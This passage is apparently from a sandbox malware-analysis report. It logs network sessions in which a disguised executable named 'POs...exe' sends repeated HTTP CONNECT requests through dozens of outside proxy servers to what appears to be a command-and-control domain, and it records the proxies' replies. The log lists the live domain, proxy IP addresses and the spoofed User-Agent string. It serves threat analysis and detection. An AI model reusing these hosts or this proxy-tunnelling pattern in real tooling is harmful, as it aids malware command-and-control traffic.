204	192.168.2.11	50483	35.154.71.72	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.356029987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.740696907 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:19 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.11	50457	43.231.22.229	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.358119965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.172900915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.11	50545	5.252.23.220	1081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.370949984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
207	192.168.2.11	50724	162.214.121.173	64579	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.372519970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.11	50551	198.44.255.3	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.376936913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.11	50790	104.27.26.29	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.377218962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.531759024 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.11	49796	200.25.254.193	54240	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.377307892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.539719105 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.11	50755	164.92.86.113	64110	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.379555941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.844719887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.360469103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.391809940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.485819101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.689558029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.783066034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.985608101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.376614094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.11	50794	172.67.181.12	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.380450010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.534945011 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.11	50542	31.43.158.108	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.383995056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
214	192.168.2.11	50800	104.27.37.131	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.384803057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.539099932 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.11	49907	104.238.111.107	5484	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.385577917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.438858986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.439007998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.438925982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.454355001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.11	50614	58.234.116.197	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.406255007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.720527887 CET	166	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.11	50594	27.0.234.206	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.409708023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.11	50667	174.64.199.82	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.412359953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.11	50670	24.249.199.4	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.413043976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
220	192.168.2.11	50668	174.75.211.222	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.414779902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
221	192.168.2.11	50671	68.1.210.163	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.416641951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.11	50567	185.132.242.212	8083	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.427572966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.11	49885	184.178.172.14	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.430737019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
224	192.168.2.11	50706	72.210.221.223	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.435240030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
225	192.168.2.11	50710	72.195.34.41	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.445298910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
226	192.168.2.11	50657	14.103.24.20	8000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.447519064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
227	192.168.2.11	50820	198.23.229.203	15673	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.449594021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
228	192.168.2.11	50802	162.243.102.207	9764	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.455760956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
229	192.168.2.11	50602	185.191.236.162	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.465430975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.235363960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.720565081 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:42:29.691519022 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:42:31.195444107 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
230	192.168.2.11	50695	51.145.176.250	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.488403082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.028386116 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
231	192.168.2.11	50598	103.66.233.161	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.488878965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
232	192.168.2.11	50691	52.67.10.183	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.492840052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.816042900 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:19 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
233	192.168.2.11	50711	152.32.130.117	18080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.501554966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
234	192.168.2.11	50690	202.179.184.44	5430	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.502612114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
235	192.168.2.11	50633	190.2.110.7	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.505359888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.313472986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
